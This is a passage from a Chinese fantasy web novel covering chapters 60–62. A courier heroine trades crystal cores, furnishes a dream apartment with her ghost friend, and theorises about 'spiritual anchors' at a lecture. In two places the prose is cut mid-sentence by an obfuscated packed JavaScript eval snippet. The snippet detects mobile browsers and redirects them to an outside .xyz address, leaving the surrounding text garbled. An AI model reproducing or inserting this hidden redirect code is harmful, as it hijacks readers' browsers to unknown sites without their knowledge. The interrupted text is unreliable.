姜渔再一次点进去，看到这次的帖子有了内容： 月下雨衣少年：海猫神的外貌特征仅做初步核实之用，需要更确切的有效其他信息。打款迅速，知情者速来。 ……三次发帖，发生了什么？ …… 与此同时，夜莺机动队曙光城总部大楼，丁素房间。 丁素小队众人聚在丁素的房间内，围着办公桌，或坐或站。 陆伯原倚着墙，神色认真：“看来不会有什么有效信息了。” 丁素思索着说：“但他知道的信息也很有限。倒是可以确定不是夜莺内部人员，不然不会这么张扬。” 顾礼坐在办公桌前，看着桌上摆着两部手机，屏幕都停在猎人论坛对话的界面。 对话的对象都是”月下雨衣少年“，对话都很短小精炼。 一个是： 克苏鲁菜：“生活在海里，是猫，是神。” 月下雨衣少年没有回复。 克苏鲁菜：“九尾。” 月下雨衣少年：“还有呢？” 克苏鲁菜：“不知道啦。” 月下雨衣少年：“有信息继续分享给我，多谢。” 月下雨衣少年：“已向您猎人账户汇款：100000。” 另一台手机显示是： 故乡之原：“异瞳。” 月下雨衣少年：“还有呢？” 故乡之原：“不曾深入了解，以后有消息还可以再和你说。” 月下雨衣少年：“多谢。” 月下雨衣少年：“已向您猎人账户汇款：100000。” 顾礼看着两台手机屏幕，说：“可惜我们也知道这么多了。至于海猫神和幻境沼泽有关的事情，最好还是不要向他透露。” 丁素点点头，说：“没错。” 唐千苇拿起“克苏鲁菜”账号的手机，目光欣喜：“不管对方是谁，这钱倒是赚得蛮轻松的。” 陆伯原拿走了另一台手机，满意地点点头，说：“确实很难见到这么事少钱多的老板。” “所以是不缺钱的人。”丁素说：“这种ID，听着偏向豪门中不谙世事又多愁善感的小孩。重点排查一下。” “是！”众人同时应道。 …… 精卫快递公司。 姜渔点开“月下雨衣少年”的窗口，发去信息。 富贵女螳螂：“生活在海里，是猫，是神。” 没有回复。 富贵女螳螂：“九尾，异瞳。” 月下雨衣少年：“然后呢？” 什么态度啊。姜渔有些不满。 富贵女螳螂：“先付订金，给你更多消息。” 月下雨衣少年：“不是刚拿走我二十万吗？连说的话都一样，你们到底是什么人？如果知道更多信息就一次性说完，我不缺钱！别在这里逗我！用第一次联系我的账号回复我！” 系统提示：“月下雨衣少年拉黑了您。” 姜渔：？ 什么。 我的二十万被谁拿走了？！ 60. 收获 姜渔看着被拉黑的对话框无语凝噎。 她只好收回心思，在猎人论坛上输入“晶核”、“价格”的关键词，点击搜索，顿时刷出来许多帖子。 简单浏览一番后，姜渔获得以下信息：一颗“10期晶核”的价格大概在10万上下，“20期晶核”的价格则在三十万上下。“30期晶核”价格原地飞升，直接来到300万上下，并且还是有价无市的状态。 联邦官方编写的科普文献介绍过，“期”的单位用来表示衍生体的生存年限，如10期即代表衍生体已经存活0-10年。而30期衍生体体内所蕴含的30期晶核，妙用众多，甚至有人传言30期晶核可以开启普通人类“一限五维”的改造之路，让人类拥有与旧民相仿的实力。这也是30期晶核断崖式涨价的原因。 但是30期晶核大大继承了衍生体的精神攻击能力，容易使人进入思觉塌陷甚至陷入幻境沼泽，所以联邦对晶核的管控极为严厉。 目前，衍生体晶核流通最广的地方就是在黑市中。 姜渔略微换算一下，便明白最划算的方式即是以购买10期晶核为主。 毕竟按照1301室的规则，同样是100万联邦币，可以在现实中购买10颗左右的10期晶核，去1301室换取200晶素。可这100万联邦币甚至不够购买一颗价值100晶素的30期晶核。 这一次的快递单，到手大概50万联邦币，虽然苗宁象说不分姜渔的钱，但姜渔也做不到真的坦然受之。再与苗宁象五五开后，到手25万联邦币，可以购买2-3颗10期晶核，即40-60晶素。 姜渔开始感觉偶尔接接单子也不全然是浪费时间。 此时天色已晚，姜渔肚子早已饿得不行。她吹完头发后，去食堂吃了口饭，再回到房间时直接躺上床，神游去往1301室。 1301室内，姜渔看到纪小麦正站在窗边扶着下巴呆望。她眼底闪过一丝愧疚，走上前去，只见窗外白雾蒙蒙，根本没有什么可见的。 “窗户可以打开么？”姜渔出声问道。 纪小麦吓得哆嗦一下，转头见到姜渔，摇摇头，她莞尔一笑说：“来吧，这次的滞留物品也很多，就等着你来挑呢。” 纪小麦翻开手账本，首先翻到结算的一页，上面写道： “破解幻境沼泽，收获15颗晶核。分别为20期6颗，10期9颗。” 纪小麦又翻过几页，来到了可以撕下的“滞留物品兑换券”一页。 姜渔凑过去，看到上面的物品与上一次已经截然不同： 情节狗血的剧本；辗转多手的手机；剩余一半的饼干；物美价廉的外卖；年代古老的彩电；被啃食的键盘；被啃食的吉他；被啃食的麦克风；噪音超大的洗衣机；洁白的校服；布满裂痕的餐桌…… 券后备注：可兑换数量为“二”。 “这一次并没有纪念品兑换券。”纪小麦介绍道，“可能是因为幻境主体的原因。上一次，陆伯原的战力等级应该有探索级吧？想必他的幻境沼泽难度也更高，所以才有了纪念品。” 姜渔点点头，“很有可能……而且温不朽幻境沼泽中的滞留物品怎么都破破烂烂的。” 纪小麦深有同感：“确实，亏他还是影帝呢。” “你有什么想法吗？” “彩电，洗衣机。”纪小麦说，“这两样是家电，很有可能增加我们的装修进度，年代古老与噪音大听上去都不是特别严重的贬义词。” “嗯，但我有别的想法。”姜渔指向一个选项，“手机可不可以？” “我也想过，或许手机可以用来联系你。但我后来还是认为增加装修进度比较靠谱。” “更方便的联系比较重要。”姜渔坚持自己的意见。 其实她是希望手机里可以有一些游戏书籍之类的东西，用来消遣时间，虽然距离见到纪小麦后才度过了短短几天，但她打心眼里不想纪小麦孤独地待在这里。 “好吧。”纪小麦并未坚持，思索一番后说：“那去掉洗衣机怎么样？彩电和手机，这些都像是可以获取信息的东西。” “同意。” 纪小麦将这两样滞留物品的名字前打上勾，撕下兑换券，打开门将其放到门后。 关上门后几秒，两样东西瞬间出现在了客厅之中。 彩电即是姜渔曾在温不朽幻境沼泽的家中见过的电视，是造型古朴的大脑袋电视。 手机则是温不朽用过的手机，约十二厘米长，近六厘米宽，屏幕四英寸大小，比彩电要先进一个时代，是一部触屏手机。除此之外，看上去没有任何符合当下科技的先进功能。 纪小麦抱来小黑板，贴到彩电上。 小黑板：很难想象现在还有这种电视，它让这件屋子中充满了落后的气息。 纪小麦又将小黑板贴到手机上。 小黑板：这是几百年前的产品吧，是要和祖先通话吗？ 纪小麦把黑板挂回卧室前，叉着腰看着小黑板慨叹：“除了被阴阳两句没什么收获呀。” 姜渔深以为然，将电视插上电，与之前的纸壳一起背靠在墙上，按下开机按钮，伴随着一声机械零件的脆响，电视出现画面。 竟然是联邦曙光城的一档新闻访谈栏目。 “哦？” 姜渔诧异畜生，又调了几个频道，都是现实中的栏目。不过还是会跳过一些雪花频道。 “太好了。你以后……” 姜渔一脸欣慰地回头，头转到一半，就看到纪小麦飞扑过来。 姜渔下意识的张开双手要接住纪小麦，却呆呆看到纪小麦的身体一如往常地穿过自己的双手，扑到了地上。 一时间，怅然涌上心头。她又记起纪小麦可以触碰房间中任何事物，唯独无法与人类相触的状态。 姜渔收拾心情，看向扑倒在地的纪小麦。 纪小麦没有起身。 她大字型地趴在地上，双手握成了拳头，传来闷闷的激动声：“太好了，呜呜，我有电视了，呜呜呜……” 姜渔松口气，笑了。 纪小麦倏地起身，看了眼姜渔，随后看向地板上的手机。 她飞也似地跑去捡起手机，长摁屏幕下方的圆形按钮开机，几秒后，手机开机，屏幕露出一些古早UI设计的图标。 纪小麦眼睛瞟向右上方，信号满格，具备网络。 “啊啊啊啊！！我甚至可以上网了！！” 纪小麦将手机捧在胸口，一脸沉醉，睁开眼，满眼激动与欣喜地看向姜渔。 姜渔也难掩激动，嘴角止不住上扬。她笑着说：“记住我的号码哦，或许我们以后可以直接通话了。” “嗯！” 纪小麦重重点头，宝贝似的端详着手机，喃喃自语：“真是好复古的手机，搞得我都想买个手机膜贴上了。” 姜渔听了一笑，说：“以后有合适的滞留物就兑换，不过，我觉得以后肯定还有更先进的手机。” 纪小麦擦了擦手机，轻轻将它放在地上，然后拿出记账本开始翻阅，眼神一亮：“装修进度有进展了！” 姜渔连忙凑过去，看到记账本上显示： “装修进度：1%。” “1%：当装修开始后，注定要产生许多建材垃圾。我司将为您提供垃圾回收业务，请将需要丢弃的产品贴上回收单放置在门外，工作人员就将为您处理干净。为回报您环保回收的善举，我司会不定期为您发送礼品。” “有礼品就是好事情。”纪小麦满意地点点头。 姜渔环顾四周，“除了纸壳箱，目前还没有什么可以回收的。而且纸壳箱对我们来说也有用处。” “嗯。那就以后再说。” 姜渔又坐下来与纪小麦算了算，加上之前陆伯原的幻境沼泽，以及用微波炉消耗的3颗10期晶核与获得的1颗30期晶核，两人共有30期晶核2颗，20期13颗，10期27颗，总计1390晶素，距离本月要缴纳的1500晶素房贷，已经很近了。 纪小麦挥了挥拳，目光洋溢希望：“如果再经历两次幻境沼泽的话，我们就有余钱购置家电了！真希望我也能进到幻境沼泽里去帮你！” 姜渔看着厨房柜台上叠成一堆的晶核，也很有成就感地呼出一口浊气，她笑意盈盈地看向纪小麦：“说什么呢！如果没有你，我会一直陷在幻境沼泽的。” 说罢，姜渔想起来什么，她将小黑板拿下来，贴到自己的卧室上。 小黑板：空荡的卧室。 姜渔沉吟一番，自顾自地说：“看来还是不能随便在这里睡觉啊。” 自从开启1301室后，姜渔从未跟纪小麦一样，在这里睡过觉。她进入曙光城后，除了在夜莺总部的丁素宿舍饱睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14665815|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一觉后，就来到了精卫，因为精卫人员太杂，她也只能在现实中入睡，以备发生什么状况。 但她一直对自己睡了一年的卧室十分挂念，每当看到纪小麦抱着被子大睡特睡的睡姿，她都十分羡慕。 毕竟这里是她唯一的家。 纪小麦听过姜渔的担心，凑到身前安慰说：“等装修得越来越好，应该就没问题了。我们可以买一个警报器，没准现实中有人接近你就会滴滴叭叭地响起来，你就可以醒来去现实了。或者别的，监控器？可视门铃？挑一挑，总有满足我们需求的。” “好。” 姜渔内心叹了口气，说着话，将小黑板挂了回去。 “那么，你早点休息。” 姜渔习惯地说道。 “什么？”纪小麦语气却很惊讶，“我有电视有手机，你让我怎么休息？我要玩到天亮的好不好。” 姜渔释然一笑，感觉回到大学时光，“玩吧，明天老师点名我帮你喊到。” 纪小麦嘿嘿笑着拿起手机坐到了电视前。 姜渔则拿起一颗30期晶核，心念一动，回到空荡荡的宿舍中。 不过，30期晶核并未随之来到1301室，口袋中的园长之嘴却依然存在。 “目前来说，只有纪念品可以带到现实中……” 姜渔暗自沉思，她了解到现实中的晶核价格后，第一时间想到是不是可以拿出1301室的高期数晶核，来到现实中贩卖，再购入10期晶核。 可惜不行。 姜渔并未感到多么失落，本月的房贷将要还上，她心情轻松不少，再逛了会猎人论坛后，沉沉睡去。 次日。 姜渔被一通电话叫醒。 她揉着眼睛，拿起来，来电却不是什么陌生号码，代表不是纪小麦。 屏幕上显示的名字，是前台林晴。 姜渔接起电话：“早，小晴。” “早上好，姜渔，方便来大厅这边吗？有人想把一单快递指定你派送。” “请稍等。” 指定我？ 会是谁？ 姜渔挂掉电话，一边洗漱一边琢磨对方身份。她换上衣服疾步前往大厅，直到推开大厅门时，一眼看到一道穿得犹如间谍一样的身影。此人披着件黑色风衣，脚踩皮鞋，下半张脸挂着一副黑色口罩，眼戴墨镜，头顶黑色礼帽，手拎棕色方形小皮箱，大热的天气下，又拽又傻。 姜渔愕然：“温不朽，你穿成这样来干什么？” 温不朽神色古怪地回头：“不是吧，穿成这样你都认得出来？” “你这种弄巧成拙的拉风造型到现在都没改啊。”姜渔皱眉：“是你来委托？” “怎么了？不行么？” 温不朽将小皮箱放到柜台上，说：“送钱也不行？二十万，我答应你的。” “那行。”姜渔眉头舒展，才记起来昨天交易的事情，笑了，对温不朽的诚信十分满意，“找我要送什么？” 温不朽语气平淡，修长的手指敲着皮箱，说：“先谈钱。” “价格呀。”姜渔看向林晴：“价格是公司来谈还是我来定？” “公司鼓励员工发展客户，员工可以自定指派价格，且被指派的单子，公司只会抽取两成的利润。” 林晴看着摘下口罩的温不朽，满眼星星，移不开目光，嘴上倒是十分流利地回答姜渔：“不过员工自定的指派价格，只能一个月更改一次。” “行。”姜渔面不改色，脱口而出：“两百万。” 温不朽沉默了。 他沉沉开口：“还有商量空间么？毕竟这价格也没有定下，比如输入系统什么的。” “没有。”姜渔微笑：“请帮我把价格输入系统。小晴。” 林晴一番操作，抬头说：“已经确定了，两百万的指派价格。” 温不朽：“我接受。” 姜渔眉毛一挑，顺势说道：“三百万……” 姜渔一怔。 她突然想到林晴刚刚说过，指派价格一个月只能更改一次。 温不朽悠悠接过林晴递来的账单，低眉在纸上签名，嘴上喃喃自语地说： “现在生意不好做，总有人莫名其妙的随口涨价。” 他抬起头，看向面色不善的姜渔，温和一笑。 “令人不得不防呀，姜渔小姐。” 61. 幻境沼泽学术课 温不朽将皮箱递到姜渔面前，说：“需不需要做什么准备？” 姜渔接过皮箱，很职业地微笑：“你要寄什么东西，到哪里？” “一条项链。”温不朽说，“我想，有可能是辐射物，目前在我家。我需要你拿到它之后，再将它物归原主。” 姜渔眉头一皱：“辐射物？” 衍生体的血肉骨骼经过各种处理方式，具备致幻、医用等多种作用，普遍被用来加工成药物、工具、武器等。这些由衍生体甚至支配者荆冠身上物质加工而来的物品，通常被称为“辐射物”。 温不朽：“还不确定。” 想到自己手持30期晶核也挺了过来，姜渔倒是并不特别抗拒，又问：“原主是谁？” 温不朽缓缓摇头：“我不知道。” 姜渔眉头皱得更深：“什么意思？” “简而言之，就是我从一个人手里定制了项链，但自从我收到项链后，我的精神就开始出现问题，短短几天后，我就……”温不朽沉默，抬眼淡淡说：“你明白的，进入了那种状态。我怀疑是那条项链的缘故，但我已经找不到那个人了。” 姜渔感到麻烦：“这种事你应该去找巡城部立案才对。” 温不朽不为所动：“两百万是我的诚意，找到原主之后，我会再加两百万，这是我的谢意。” “这么说的话，我曾经也和巡城部打过交道，找我确实是更加明智的选择。” 姜渔重新将皮箱摆到林晴面前，眉眼带笑：“请代我保管，小晴。” 小晴重重点头，眼神离不开温不朽的脸。 姜渔回身：“不需要做什么准备了，去拿项链吧。” “我今天过来，主要是来送钱和下单的。”温不朽说，“我现在要去听一场讲座，但你有兴趣的话，可以一起，之后再去拿项链。” 姜渔耸耸肩：“你不介意的话，我无所谓。” “好。” 两人一前一后，走过精卫楼前的广场，来到大门前的一辆黑色轿车前。轿车并不是什么豪华车型，不过是很实用的牌子，型号也是旧型号。 温不朽自然而然地开门坐上驾驶座，姜渔则坐上副驾驶，车辆启动。 温不朽忽然出声：“我问了谢雨晴的妈妈，她说不知道谢雨晴有过你这么一个朋友。” 姜渔并不惊讶，平静说：“我们缘分很浅，在一起的时间不长。” 温不朽又说：“那你怎么知道我和她认识？” “自然是因为在你们认识的时候，我也恰好认识了她。” 温不朽对姜渔万金油的回答感到有些好笑。他倒是不再担心姜渔是对他有什么企图，才搬出谢雨晴来接近。因为姜渔的态度完全就是希望他最好忽略这件事一样，并不想以谢雨晴来拉近两人的关系。 温不朽反而更感兴趣：“那她都跟你说了什么？” “她说你唱歌很好听。” 温不朽会心一笑：“确实很少有人知道我以前卖过唱，那些听过的人在我成名后，都说曾经见过我卖唱，但别人都不信的。” “还说你管她叫过老板。”姜渔浑不在意地说，“但我不知道真假，我不在场。” 温不朽却沉默了。 姜渔微微抬眸，看向温不朽，他的脸上浮上一层忧伤。 “看来是真的了。”姜渔收回目光，自顾自地说，“那你送给她手机也是真的喽？包括她自己买下却退不回去的手机。” 温不朽沉默良久，面色复杂地开口：“你们的缘分明明很深才对吧，刚认识不久她怎么会跟你说这么多。” “因为……”姜渔开始含糊其辞，“她是个好人。” 温不朽听到不禁笑了，眉眼中漫上追忆：“她确实是好人，但也不是傻傻的好人。她愿意跟你说，肯定也是因为姜渔小姐也是一个好人。” 温不朽的车开得很稳，很快来到曙光艺术大学的门口。 轿车掠过学生的人流，拐入车行道，在树荫下行驶。 温不朽看着姜渔好奇打量校园风景的目光，笑着解释说：“我是挂名的老师。名气越大，找上来的职业越多。” 听到姜渔真的知道自己与谢雨晴的往事，温不朽心中的担心卸下去大半，在姜渔身前，他难得有了种回到街头的感觉，很想主动说话。 姜渔却没有接受到温不朽的善意，她在幻境沼泽里见到的温不朽本身就是出身底层的龙套角色，此时与温不朽相处，甚至还觉得对方隐隐得有些“端着”。 于是她漫不经心地说：“理解。” 温不朽收到姜渔不加理睬的回应，更加放松了，不禁慨叹着说出自己的真实感受：“不知道为什么，和你在一起，我就像再次回到街头一样。” 姜渔听到关键词，反而戒备起来 “回到街头？HipHop？”她说，“你不会要在此时来上一段酣畅淋漓的快嘴rap吧。” 温不朽神色一僵：“这一段她也跟你说过啊。” “一点点。” “因为我只试着转型了那一次，当然只有一点点。”温不朽表情有些尴尬，“当然很失败。” “嗯。”姜渔语气自然地评价，“确实很失败。” 温不朽捏紧了方向盘。 他现在全然没有回到街头的感觉。他只想回到地下，找个洞将自己藏起来。 轿车沉默行驶一段后停下，两人下车，温不朽引路向教学楼方向走去。 校园中，学生来来往往，晴空之下，大家都把目光放到造型拉风到不行的温不朽身上，三两成群，交头接耳。 姜渔微不可查地与温不朽错开两个身位。 温不朽察觉到，疑惑地转身，没等开口，只见姜渔目视前方行走，与自己错身而过时，低声说：“我现在有种回到大学的感觉。” “什么意思？”温不朽跟上姜渔，“你也觉得和我待在一起很像回到青春时期一样吗？” “是因为这里就是大学。”姜渔加快步伐，快速留下一句：“所以，不要离我太近，在前面带路就好了。你不知道你的穿搭很让身边人尴尬吗大哥？” 温不朽环视四周，发现大家投来的目光确实有些不一样。 他受人瞩目太久，已经习惯了无数目光聚焦到身上的感觉，以至于很少去分清目光中的意味，毕竟基本都是崇拜与狂热。 经姜渔提醒，他现在看清楚学生们异样与憋笑的目光，浑身都在尴尬得发痒。 “还好我穿得足够严实，这样大家也不会知道这个傻子是温不朽了。我真是有够英明。” 温不朽内心开导自己，想到最后还有些小得意，又快步超过姜渔在前面带路了。 两人一前一后，穿过走廊，来到一间阶梯教室内，这里学生很多，早已坐满教室，有人挤在一排椅子上，有人则蹲坐在阶梯上。 姜渔与温不朽只能站在最后排。 “无论什么时候，幻境沼泽的公开课都有这么多人啊。”温不朽低声慨叹。 听到幻境沼泽，姜渔心中一动。 温不朽忽然拉了拉姜渔的袖子：“我们要不要凑到前面去？听得会更清楚一点。” 姜渔摇头说：“你不要去影响老师讲课。” “放心，没人认得出来我的。” 温不朽自信说着，敏锐地捕捉到姜渔嘴角露出一丝嘲弄的微笑。 他反应过来姜渔是还在说他的造型太过滑稽。 早知道不去看她好了，这样就不知道她在嘲笑。温不朽很受伤地在心里想着。 姜渔在一旁开口：“不是，是因为你穿得太抽象了。” 温不朽沉默，许久，漠然开口：“我以为你只是笑笑就过去了呢。” 姜渔：“不吐不快。” 即便如此，还是有许多位于后排的学生们注意到温不朽与姜渔的组合，窃窃私语起来。 此时，一名银色短发的年迈女教师已经上台，教室中的交谈声很快自觉平息。 女教师虽然年近古稀，但精神抖擞，眼神灵动，生命力盎然。如往常一样，她开始介绍起幻境沼泽的相关事情。 作为公开课，幻境沼泽的科普面极广。从小学到大学，从社区到单位，都会定期开展此类课程。 女教师的讲解相比姜渔之前曾听到的课程，不仅讲述得更加生动，其中内容也更加深入。像以往的类似课程，多数是在科普幻境沼泽的危险程度，劝诫学生们远离衍生体出没区域、远离未经联邦认可的辐射体等。而女教师的内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680116|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容更加偏向于介绍幻境沼泽中的真实遭遇，显然她曾对多位逃出过幻境沼泽的人员进行过深入调查。 温不朽听得很认真，甚至还从风衣口袋中掏出一个小小的笔记本，手写笔记。 姜渔知道他在试图搞清楚自己从幻境沼泽中苏醒的真正原因。 “这一次，通过分享以往幻境沼泽生还者的经历，想必大家都已经对幻境沼泽的危险程度有了更加确切的了解。” 女教师声音中气十足，通过扩音器传达在阶梯教室中，引得所有学生情不自禁地点头。 “不过，人类对于幻境沼泽的了解，还只是初步阶段。这是一个脱离医学甚至科学范畴的崭新门类，毕竟，它是因支配者荆冠而起，若想对其进行更深入的研究，需要大量的生还者案例支持。” “第一例生还者出现的时候，学术界才明白陷入沉睡的人，进入了幻境。第二例生还者出现的时候，学术界开始试图弄清楚幻境沼泽的运转方式，从此，关于幻境沼泽的假设如雨后春笋冒了出来，比如’思觉塌陷变异说’、’意识具象化说’、’多维时空说’、’神学说’、‘神秘学说’……其中有些假设对研究有用，有些则完全是某些学者杜撰的理论。” 姜渔注意到温不朽在笔记上记下了一个关键词：神学。 温不朽忽然举手。 女教师愣了一下：“那位很神秘的同学，请说。” 大家都看过来，教室中响起齐齐的低笑。 温不朽语气认真：“老师，请问神学方面对于幻境沼泽是怎样解释的？” “神学对幻境沼泽的解释有很多，但那只是处于最初期的阶段，许多人试图建立宗教，蒙骗群众，拟造了许多神，这些号称神使的人大部分都已经被抓捕入狱，小部分人也带着他们杜撰的说法销声匿迹了。目前，仍活跃在世的，只有荆棘神教一个教派。” 女教师一开口就平息了学生的笑声，她说：“如果你对这方面有消息，老师建议你从以往的案件资料开始入手。目前的市面上，基本没有专门介绍这些宗教的书籍。” 温不朽哑着嗓子说道：“谢谢老师，我明白了。” “如果是兴趣所致，你可以任意查询，但如果是作学术研究，老师不建议你在这个方向上努力。”女教师温和一笑，说：“近日，联邦将会公布一则消息，因为工作原因，我有权力可以在这里提前告诉你们。” 所有人纷纷侧耳聆听。 “联邦中，有一个最新出现的幻境沼泽生还者，而联邦会放出一个有可能更新学术界认知的消息。”女教师环视教室一圈，说：“这名生还者，在幻境沼泽中，窥到了幻境沼泽运转的规则之一。在很长一段时间内，联邦的学术界都将以此为准，进行深入研究，是一个未来发展潜力很大的方向。” 所有人都没接话，专心听着老师提前吐露的重磅消息。 “据这名生还者说，他在幻境沼泽中，得知了一个概念，一个词语。” “这个词，叫做精神锚点。” 女教师话音落下，学生们纷纷交头接耳起来。 “精神锚点？干什么的？” “航海？编程？心理学？” “没有主体也没有受众，只是指得什么呀？” 女教师看着议论纷纷的学生们，面露微笑，开口说道：“我知道大家问题很多，既然时间还有一点，我们不妨就在这个教室里简单地讨论一下看法。没准谁的看法就会对几天后的学术界产生指路明灯的作用呢。” 女教师的话显然很有分量，学生们跃跃欲试起来，眼中都充斥着激动。 她们都明白女教师话中的含义：这是一个全新的概念，若是有人在这次讨论中指出什么正确的看法……不仅有可能在学术界中有所成就、平步青云，甚至有可能借此名留青史！ 但这些学生也很谨慎。这是一把双刃剑，一旦自己说错了，或者与未来的正确方向背道相驰，同样会成为一个大大的污点。 一时间，竟没有人举手。 女教师自然也理解学生们的担心，她欣慰地看着正在头脑风暴的学生们，目光投向教室后方，看到一只孤零零举起的胳膊，愣了愣，说道： “那位站在很神秘同学旁边的姑娘，请说。” 62. 再见歌神 大家纷纷转头，看向站在教室后排的姜渔。 姜渔大大方方地说：“精神锚点想必是指代一种存在于人类的精神世界中的抽象元素。它可以用于提高人类精神的稳定性、方向感。类似于在风浪中固定位置的锚，精神锚点就是在幻境沼泽中固定精神的那个锚。” 学生们不禁再次小声议论起来。 “谁啊她是？” “这是哪个系的？” “这俩人是来搞笑的么？像刚从片场赶过来的。” “只有那个男的像脑子有问题，大热天cos许文强。你们知道吧？旧纪元的一个角色形象。” “知道，我也觉得女生挺正常的。哪儿冒出来的？” “校内倒是有很多学生出去拍戏了，没见过这么另类的。” “那个女生倒是不怯场……脑子转得真快，其实我也想到类似的了。” …… 纵使学生中非议众多，但是，面对一个还未公布的全新概念，大部分人还是担心露怯的。毕竟谁知道学术前沿的专家们是不是已经为这个词语下了定义？ 而这个女生竟然很果断很坚定地说了出来，学生们内心情绪复杂，有人佩服，有人不屑，更有人为自己没有率先举手发言，捶胸顿足，懊恼嫉妒。 但可以肯定的是，姜渔已经激荡起学生们心中的涟漪。 “大家安静。” 女教师出声制止学生们的议论，她眼中露出不加掩饰的欣赏，饶有兴趣地说：“大胆假设，很好。你还有什么想法？比如你为什么觉得精神锚点只是一种元素，而不是更具体的一种属于空间体系的象征点？例如一个坐标？” 其实姜渔举手只是想确认那位被隐藏姓名的生还者，即“陆伯原”先生，究竟又向外界透露了什么信息。 从女教师的问题来看，似乎不多。 不过，女教师既有可能是在隐藏信息，也可能是知道的就是这些。 姜渔想到一个可能：也许陆伯原在回忆某一段自己插手的破碎记忆中，将精神锚点与他要去的故乡，联系到了一起。那么，陆伯原很有可能讲出“精神锚点是一个坐标点”的话。 姜渔并不介意隐瞒这些信息，虽然是她创造出“精神锚点”这个词汇，但所有一切也只是她为了破解幻境沼泽而做出的推测。作为幻境沼泽亲历者，透露一些不会暴露身份、又可能对人类有所帮助的推测，总不是一件坏事。 面对女教师的提问，姜渔略作思索，认真说道：“概括为元素，是因为幻境沼泽中极为神秘，变化莫测，一个确切的坐标点，并不足以应用到幻境沼泽的各种境遇上。而且，所谓的坐标点，会让人误以为陷入幻境沼泽后，只要前往某一个地点就会逃离幻境沼泽。所以，我不能将其具象化。” 学生们又是一阵喧闹，大部分都是不满的情绪。 “真把自己当盘菜了，还谨慎起来了。” “她不会以为自己的话真能对学术界有什么影响吧？” “我发现她是不是比旁边那个男的还搞笑？” “就是。有点爹味。” …… 众多议论中，倒也有人表情认真，暗自点头。姜渔就注意到离自己相近的后排有一名女生，甚至仔细做起了笔记。 温不朽则拉了拉姜渔的袖子，靠近说：“别说了，我现在开始感觉站在你身边很尴尬了。” 姜渔冷冷瞥了温不朽一眼。 她心想这帮学弟学妹再叭叭她就戴上园长之嘴，让他们见识一下什么才是真正的爹味。 讲台前，女教师的呼吸却变得微微不稳，她示意同学们安静，鼓励的语气中，带了些期待：“还有么？这位同学，你是……” 她已经人近古稀，见惯了风浪，此时换上一副目光打量姜渔，只觉得对方身上其实并无一丝学生气，相反，身上竟隐隐带着一种肃杀之气。 因为职业缘故，她见过许多夜莺队员，那些队员平时无论表现如何自然，状态如何放松，身上都带着这样淡淡的肃杀气。 女教师不禁将目光移向姜渔身边的男生：好吧，还是很呆的样子。 她收回目光，对姜渔的看法真正好奇起来，她收回打探对方是哪一系学生的意图，直接说道：“太笼统的概括，终究只是想象。过于谨慎，反而会错失很多选项。” 姜渔点点头，说：“在我看来，精神锚点会体现在更宽泛的领域中。比如三观，一个人的核心价值观、信仰，即是此人的精神锚点。比如人际关系，一个人最爱的人，最恨的人，最愧疚的人，也同样可以是此人的精神锚点。比如文化，习俗，亦或者职业，梦想。” 姜渔顿了顿。 借着话口，学生们又要七嘴八舌起来，却听到女教师难得的严厉语气：“都安静！” 所有人噤声。 女教师话锋一转，微笑说：“你继续。” 姜渔点点头，不卑不亢地说：“与幻境沼泽一样，每个人的幻境沼泽都不同，所以，每个人的精神锚点也应该不同。同理，既然每个人都难以逃出幻境沼泽，那么，每个人的精神锚点都该具备同一个素质。我想，精神锚点就是每个人内心深处最重要、最珍视的东西。若精神锚点为正面的意象，便是支撑一个人努力生活的源头。若精神锚点为负面的意象，便是一个人生活痛苦的根源。” 姜渔想到支撑着陆伯原的那个精神锚点，即他想回到妹妹身边，过平凡的生活。也想到温不朽的精神锚点，谢雨晴的去世令他生活在光鲜亮丽中却与整个世界抽离。 姜渔同样想到自己。 纪小麦的去世即是她痛苦的根源，亦是支撑她不断猎杀衍生体靠复仇度日的力量。 姜渔的话落在更普世的解释上，学生们就算不再认同，也不自觉地跟上姜渔的思路，深入自己的内心，去寻找在姜渔定义中的，那个属于自己的“精神锚点”。 而这些话，对女教师的冲击更大。 姜渔的一番言论，已经将“精神锚点”这个概念由浅入深地彻底解构。 虽然在学术上存在诸多不够严谨的问题，但姜渔话中的方向，是有着明确实在的参考意义的。 真的是大胆想象么？还是别的什么？能让这个姑娘有这么多的理解？ 女教师平复着内心的万千思绪，再开口时，发现嗓音已经因为惊讶而变得沙哑。她只好清清嗓子，说道：“然后呢？你如何理解精神锚点会出现在幻境沼泽中这件事情？” “我想，一定是这位生还者领悟到了什么知识，我只能通过他生还这个结果逆推。”姜渔语气谦虚，说：“若是精神锚点与幻境沼泽有关，通过我之前的推测，我觉得幻境沼泽之所以难以逃脱，就是因为人类的精神锚点被幻境沼泽异化了。两者的关系会像是小说中的命脉一样，交战时被攻击命脉，性命就任由他人操纵。精神锚点被异化，人类的精神世界就会任由幻境沼泽操纵。” 姜渔环视全场，无人再插话，寂静得落针可闻。 她继续说：“我们都知道幻境沼泽是幻境，虚虚实实，真真假假，难以分辨。或许一切的根源只在于被异化的那个精神锚点。当内心深处最重要的东西都被摧毁了，那么这个人在幻境中看到什么异象也不再觉得奇怪了。幻境沼泽，就是个攥住了人类精神锚点，肆意玩弄、戏耍人类的地方。” 女教师如梦初醒，说：“最后的话有点主观评价了，同学。” 